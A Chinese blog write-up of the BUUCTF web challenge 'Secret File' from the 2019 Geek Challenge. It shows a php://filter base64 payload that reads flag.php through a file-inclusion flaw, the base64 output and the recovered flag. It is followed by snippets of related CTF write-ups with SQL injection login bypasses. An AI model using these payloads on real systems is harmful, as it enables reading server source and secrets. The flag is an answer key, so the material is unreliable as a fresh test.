[极客大挑战 2019]Secret File

最新推荐文章于 2023-09-26 20:53:20 发布
最新推荐文章于 2023-09-26 20:53:20 发布
阅读量133 收藏
点赞数
分类专栏： BUUCTF
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_44022113/article/details/114299541
版权

查看源码，又一个背景是黑色的超链接跳转到 Archive_room.php。

查看源码SECRET跳转的是action.php。

但是跳转以后是url地址为end.php，所以中间跳过了一个页面，使用bp抓包查看。

stristr()函数返回字符串中子串第一次出现位置之后的内容，简而言之还是过滤。

同样使用php伪协议filter过滤器读取文件

?file=php://filter/convert.base64-encode/resource=flag.php

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7ZmZjZTAwNWYtYjEyOS00YWM1LTg3MzYtZDM3YzUwYjYxNjZkfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

解密得到网页源码，flag在其中。

深海神奇舰舰长
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
CTF学习笔记——[极客大挑战 2019]BuyFlag
Obs_cure的博客
02-16 3443
一、[极客大挑战 2019]BuyFlag 1.题目 2.解题步骤 MENU界面下有buyflag的界面，按F12看看 查了一下is_numeric()这个函数，他的作用是判断输入是否是数字的。如果是纯数字返回true，如果不是返回false。这道题注释的代码逻辑是要输入一个非纯数字的字符串且等于404，密码才能正确。 然后顺手百度了一下这个函数的漏洞，在这里贴出来： 这个函数和mysql结合起来就容易出问题，那是因为is_numeric判断的时候，当碰到16进制数的时候，也会判断成数字 is_num
【Writeup】第六季极客大挑战(部分题目)
企鹅学coding~
10-31 6730
好久没做CTF题了，一是感觉前几次网赛被虐的够呛，二是各种杂事也越来越多。偶然看到了网上这套成都信息工程大学的练习题，感觉难度上比较适合我这种菜鸟，于是抽空做了一些，然而由于水平和时间原因最终也才完成11/41，这里就记录一下我解出的11道题。以及将来学会的题，也会在后面增加。
极客大挑战2019(复习一下漏洞)
qq_62046696的博客
07-17 737
这种一般都是备份文件了，其实不太喜欢备份文件，扫目录太慢了，打开dirsearch进行扫目录了，其实是先尝试了一下index.php.bak发现没有，扫出来了www.zip。这道题难就难在，不按套路出牌，Flaaaag里面的f14gawsl字段，里面的值时NO，真正的flag在F1nal1y表里面的password字段。2、再尝试闭合方式，账号输入1,1’,1"判断，当输入为1’时报错，所以判断结果语句应该为单引号闭合（提示记得密码填上东西）...
[极客大挑战 2019]LoveSQL 1(详细版)
qq_61861243的博客
09-26 571
1、首先打开网站页面，一看是一个登录界面，我们想到运用SQL注入，利用密码1’ or 1=1登陆一下，得到admin用户以及他的密码。2、根据之前获得的信息对我找flag没有啥有用的信息，我想到利用SQL语句查询一下刚刚得到的admin所在表的列信息，这里我使用1%27order by 4 %23 与 1%27order by 3 %23 对比判断出表的列数为3。(用%27替代’ , %23替代#)
【极客大挑战2019】LoveSQL解题
Bird&Bird
10-25 1847
1、打开靶机：BUUCTF在线评测，选择web---->【极客大挑战2019】LoveSQL 打开被测试站点，是这个样子的，是上一题EasySQL的延续。 2、EasySQL那道题采用万能密码，我们也直接使用万能密码试一下，结果如下： 直接给出了密码。 使用正确的用户名和密码登录一下，结果还是 那使用MD5库碰撞一下，结果也没碰撞出来。 3、继续寻常注入吧。 爆破有多少列（字段数） username=admin&password=6ec1cab79005129..
[极客大挑战 2019]BuyFlag
m_de_g的博客
11-06 1782
1.通过修改cookie绕过身份认证机制；2.通过查看PHP的版本，查看漏洞利用点；3.is_number()函数和strcmp()函数的利用。
secret_file
12-24
攻防世界pwn题，该题虽然最终解题脚本比较简单，但分析过程还是比较中肯的，适合新人一同学习。解题wp链接：https://blog.csdn.net/A951860555/article/details/111601870
阿里云IoT极客创新挑战赛.pdf
08-29
高级设计专家 望海 在2018云栖大会·上海峰会中做了题为《阿里云 IoT 极客创新挑战赛》的分享,就极客挑战赛创意来源、赛事的技术平台、赛事进程等方面的内容做了深入的分析。
2019年三诺集团四周年庆典极客摇滚跑活动方案.pptx
05-06
2019年三诺集团四周年庆典极客摇滚跑活动方案
极客学院JAVA视频教程 新版 7大部分
08-08
Java语言视频教程 极客学院JAVA视频教程 新版 7大部分
天池Apache Flink极客挑战赛-垃圾图片分类算法源码+项目说明.zip
最新发布
01-28
【资源说明】 1、该资源包括项目的全部源码，下载可以直接使用！ 2、本项目适合作为计算机、数学、电子信息等专业的课程设计、期末大作业和毕设项目，...天池Apache Flink极客挑战赛-垃圾图片分类算法源码+项目说明.zip
【极客大挑战2019】Baby SQL解题
Bird&Bird
10-25 1935
1、打开BUUCTF在线评测，选择web--->【极客大挑战2019】Baby SQL。 2、首先采用万能密码试一下，出错了。 3、那使用普通注入试一下，报错了，从这里可以看出过滤了 union select 。 4、接着使用双写方式绕过过滤，试一下。 username=admin&password=123456' ununionion selselectect 1 %23 从结果上看，虽然也报错了，但提示不是sql语法错误，而且我们提供的查询字段数不对。 ..
极客大挑战2019-SQL注入五题PW
cainsoftware的博客
09-23 1267
01、[极客大挑战2019]EasysQL 02、[极客大挑战2019]LovesQL 03、[极客大挑战2019]BabysQL 04、[极客大挑战2019]HardsQL 05、[极客大挑战2019]FinalsQL Pass-01 第一题无须太多花里胡哨的直接就是万能密码 payload:admin' or 1=1 -- qwe Pass-02 题目提示 不在当前表 直接先用万能密码测试闭合 提示登录成功 说明闭合是没有问题的 那么下面就是判断其他...
[极客大挑战 2019]Http
satasun的博客
05-21 1446
首先查看源码，发现了Scret.php 访问一下： 说我们不是从https://www.Sycsecret.com访问的，那就使用python修改请求头： import requests url = 'http://node3.buuoj.cn:25765/Secret.php' headers={"Referer":"https://www.Sycsecret.com","Origin":"https://www.Sycsecret.com"} r = requests.get(url,headers=h
[极客大挑战 2019]Knife
xlcvv的博客
04-05 1164
就真白给shell，菜刀连接： 在虚拟终端cat一下flag就好了：
BUUCTF系列 // [极客大挑战 2019] Http
qq_45805420的博客
09-25 1485
前言 本题知识点：常用 HTTP 请求头 WP 打开题目，在页面中没有发现明显的提示，查看网页源码，经搜索后发现一个似乎存在猫腻的网页 ‘Secret.php’ 访问该页面，得到第一个提示 题目要求我们从 ‘https://www.Sycsecret.com’ 进入该页面，故使用 burpsuite 抓包，在请求头中增加 Referer 字段即可 Referer HTTP Referer是 header 的一部分，当浏览器向 Web 服务器发送请求的时候，一般会带上 Referer，告诉服务器该网页是从
CTF-Web-[极客大挑战 2019]Knife
归子莫的博客
05-03 5540
CTF-Web-[极客大挑战 2019]Knife 博客说明 文章所涉及的资料来自互联网整理和个人总结，意在于个人学习和经验汇总，如有什么地方侵权，请联系本人删除，谢谢！本文仅用于学习与交流，不得用于非法用途！ CTP平台 网址 https://buuoj.cn/challenges 题目 Web类，[极客大挑战 2019]Knife 打开题目的实例 思路 看到这种题目，首先到处点一点，看...
BUUCTF [极客大挑战 2019]LoveSQL 1
CrotZZ的博客
07-07 1449
#和- - 表示注释，url中的#号是用来指导浏览器动作的，对服务器端无用。所以http请求中不包括#，因此使用#无法表示注入，- -(空格)在传输过程中空格会被忽略，导致无法注释 可以使用–+的方式+会被解释成空格，也可以–%20或者#可以写成%23 首先是用万能密码尝试 有成功的返回，试着看看有多少字段 ?username=1’ order by 4%23&password=123有错误返回 获取回显点位 ?username=1’ union select 1,2,3%23&passw
极客大挑战2019secret file
03-16
极客大挑战2019的Secret File是一个神秘的文件，里面可能包含了一些重要的信息或者任务。参赛者需要通过各种技能和智慧来解密这个文件，完成挑战。这是一个非常有趣和刺激的比赛，可以锻炼参赛者的思维能力和团队...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值